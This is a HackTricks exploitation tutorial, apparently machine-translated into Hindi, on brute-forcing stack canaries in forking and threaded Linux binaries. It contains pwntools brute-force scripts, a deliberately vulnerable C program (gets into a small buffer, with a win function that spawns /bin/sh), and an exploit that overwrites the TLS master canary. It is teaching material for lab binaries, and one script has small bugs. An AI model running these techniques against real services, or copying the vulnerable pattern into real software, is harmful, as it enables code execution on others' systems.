hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md

14 KiB

BF Forked & Threaded Stack Canaries

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

यदि आप एक कैनरी द्वारा संरक्षित बाइनरी का सामना कर रहे हैं और PIE (पोजीशन इंडिपेंडेंट एक्जीक्यूटेबल) है तो शायद आपको उन्हें दूर करने का एक तरीका ढूंढने की आवश्यकता होगी।

{% hint style="info" %} ध्यान दें कि checksec यह नहीं पता लगा सकता कि एक बाइनरी को कैनरी द्वारा संरक्षित किया गया है अगर यह स्थैतिक रूप से कॉम्पाइल किया गया था और यह फ़ंक्शन को पहचानने की क्षमता नहीं है।
हालांकि, आप इसे मैन्युअल रूप से नोट कर सकते हैं अगर आपको लगता है कि किसी फ़ंक्शन को कॉल करने की शुरुआत में एक मान स्टैक में सहेजा गया है और इस मान की जांच की जाती है पहले बाहर निकलने से पहले। {% endhint %}

Brute force Canary

एक साधारण कैनरी को दूर करने का सबसे अच्छा तरीका यह है कि यदि बाइनरी एक कार्यक्रम है जो प्रत्येक बार जब आप इसके साथ एक नया कनेक्शन स्थापित करते हैं तो बच्चे की प्रक्रियाएँ बनाता है (नेटवर्क सेवा), क्योंकि हर बार जब आप इससे कनेक्ट करते हैं वही कैनरी उपयोग की जाएगी

इसलिए, कैनरी को दूर करने का सबसे अच्छा तरीका यह है कि आप बस चार से चार चरित्र को ब्रूट-फ़ोर्स करें, और आप यह जान सकते हैं कि क्या अनुमानित कैनरी बाइट सही था या गलत था जांच करके यदि कार्यक्रम क्रैश हो गया है या अपनी नियमित फ्लो को जारी रखता है। इस उदाहरण में फ़ंक्शन 8 बाइट कैनरी (x64) को ब्रूट-फ़ोर्स करता है और सही अनुमानित बाइट और एक बुरा बाइट के बीच भिन्न करता है बस जांच करके यदि सर्वर द्वारा कोई प्रतिक्रिया भेजी जाती है (अन्य स्थिति में एक try/except का उपयोग किया जा सकता है):

उदाहरण 1

यह उदाहरण 64 बिट के लिए लागू किया गया है लेकिन आसानी से 32 बिट के लिए लागू किया जा सकता है।

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

उदाहरण 2

यह 32 बिट के लिए कार्यान्वित है, लेकिन इसे आसानी से 64 बिट के लिए बदला जा सकता है।
इस उदाहरण के लिए ध्यान दें कि प्रोग्राम पहले एक बाइट की गुणवत्ता की जांच करता है जो इनपुट का आकार दर्शाता है और पेलोड।

from pwn import *

# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21

for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))

# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break

# Return the canary
return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")

थ्रेड

प्रक्रिया की एक ही थ्रेड भी एक ही कैनरी टोकन को साझा करेगी, इसलिए यदि बाइनरी हर बार एक हमला होने पर एक नया थ्रेड उत्पन्न करता है तो कैनरी को ब्रूट-फोर्स किया जा सकता है।

कैनरी से सुरक्षित थ्रेड फ़ंक्शन में एक बफर ओवरफ़्लो का उपयोग प्रक्रिया की मास्टर कैनरी को संशोधित करने के लिए किया जा सकता है। इस परिणामस्वरूप, संरोधन अप्रभावी हो जाता है क्योंकि जांच दो कैनरी के साथ की जाती है जो समान हैं (हालांकि संशोधित हैं)।

उदाहरण

निम्नलिखित कार्यक्रम Buffer Overflow के लिए वंशावशेष है, लेकिन इसे कैनरी के साथ कंपाइल किया गया है:

#include <pthread.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

// gcc thread_canary.c -no-pie -l pthread -o thread_canary

void win() {
execve("/bin/sh", NULL, NULL);
}

void* vuln() {
char data[0x20];
gets(data);
}

int main() {
pthread_t thread;

pthread_create(&thread, NULL, vuln, NULL);
pthread_join(thread, NULL);

return 0;
}

सावधान रहें कि vuln एक थ्रेड के भीतर कॉल किया जाता है। GDB में हम vuln पर एक नजर डाल सकते हैं, विशेष रूप से, जिस बिंदु पर प्रोग्राम gets को कॉल करता है ताकि इनपुट डेटा पढ़ सके:

gef> break gets
Breakpoint 1 at 0x4010a0
gef> run
...
gef> x/10gx $rdi
0x7ffff7d7ee20: 0x0000000000000000      0x0000000000000000
0x7ffff7d7ee30: 0x0000000000000000      0x0000000000000000
0x7ffff7d7ee40: 0x0000000000000000      0x493fdc653a156800
0x7ffff7d7ee50: 0x0000000000000000      0x00007ffff7e17ac3
0x7ffff7d7ee60: 0x0000000000000000      0x00007ffff7d7f640

ऊपर data का पता दिया गया है, जहां प्रोग्राम उपयोगकर्ता इनपुट लिखेगा। स्टैक कैनरी 0x7ffff7d7ee48 (0x493fdc653a156800) पर पाई जाती है, और वापसी पता 0x7ffff7d7ee50 (0x00007ffff7e17ac3) पर है:

gef> telescope $rdi 8 -n
0x7ffff7d7ee20|+0x0000|+000: 0x0000000000000000  <-  $rdi
0x7ffff7d7ee28|+0x0008|+001: 0x0000000000000000
0x7ffff7d7ee30|+0x0010|+002: 0x0000000000000000
0x7ffff7d7ee38|+0x0018|+003: 0x0000000000000000
0x7ffff7d7ee40|+0x0020|+004: 0x0000000000000000
0x7ffff7d7ee48|+0x0028|+005: 0x493fdc653a156800  <-  canary
0x7ffff7d7ee50|+0x0030|+006: 0x0000000000000000  <-  $rbp
0x7ffff7d7ee58|+0x0038|+007: 0x00007ffff7e17ac3 <start_thread+0x2f3>  ->  0xe8ff31fffffe6fe9  <-  retaddr[2]

ध्यान दें कि स्टैक पते वास्तविक स्टैक से संबंधित नहीं हैं:

gef> vmmap stack
[ Legend:  Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start              End                Size               Offset             Perm Path
0x00007ffff7580000 0x00007ffff7d83000 0x0000000000803000 0x0000000000000000 rw- <tls-th1><stack-th2>  <-  $rbx, $rsp, $rbp, $rsi, $rdi, $r12
0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 0x0000000000000000 rw- [stack]  <-  $r9, $r15

धागे का स्टैक धागे स्थानीय संग्रहण (TLS) के ऊपर स्थित होता है, जहां मास्टर कैनरी संग्रहित होती है:

gef> tls
$tls = 0x7ffff7d7f640
...
---------------------------------------------------------------------------- TLS ----------------------------------------------------------------------------
0x7ffff7d7f640|+0x0000|+000: 0x00007ffff7d7f640  ->  [loop detected]  <-  $rbx, $r12
0x7ffff7d7f648|+0x0008|+001: 0x00000000004052b0  ->  0x0000000000000001
0x7ffff7d7f650|+0x0010|+002: 0x00007ffff7d7f640  ->  [loop detected]
0x7ffff7d7f658|+0x0018|+003: 0x0000000000000001
0x7ffff7d7f660|+0x0020|+004: 0x0000000000000000
0x7ffff7d7f668|+0x0028|+005: 0x493fdc653a156800  <-  canary
0x7ffff7d7f670|+0x0030|+006: 0xb79b79966e9916c4  <-  PTR_MANGLE cookie
0x7ffff7d7f678|+0x0038|+007: 0x0000000000000000
...

{% hint style="info" %} ऊपर कुछ GDB फ़ंक्शन एक एक्सटेंशन पर परिभाषित हैं जिसे bata24/gef कहा जाता है, जिसमें सामान्य hugsy/gef से अधिक सुविधाएँ हैं। {% endhint %}

इस परिणामस्वरूप, एक बड़ा बफ़र ओवरफ़्लो द्वारा स्टैक कैनरी और मास्टर कैनरी को बदलने की अनुमति दी जा सकती है TLS में। यह है ऑफसेट:

gef> p/x 0x7ffff7d7f668 - $rdi
$1 = 0x848

यह win को बुलाने के लिए एक छोटा एक्सप्लॉइट है:

from pwn import *

context.binary = 'thread_canary'

payload  = b'A' * 0x28                    # buffer overflow offset
payload += b'BBBBBBBB'                    # overwritting stack canary
payload += b'A' * 8                       # saved $rbp
payload += p64(context.binary.sym.win)    # return address
payload += b'A' * (0x848 - len(payload))  # padding
payload += b'BBBBBBBB'                    # overwritting master canary

io = context.binary.process()
io.sendline(payload)
io.interactive()

अन्य उदाहरण और संदर्भ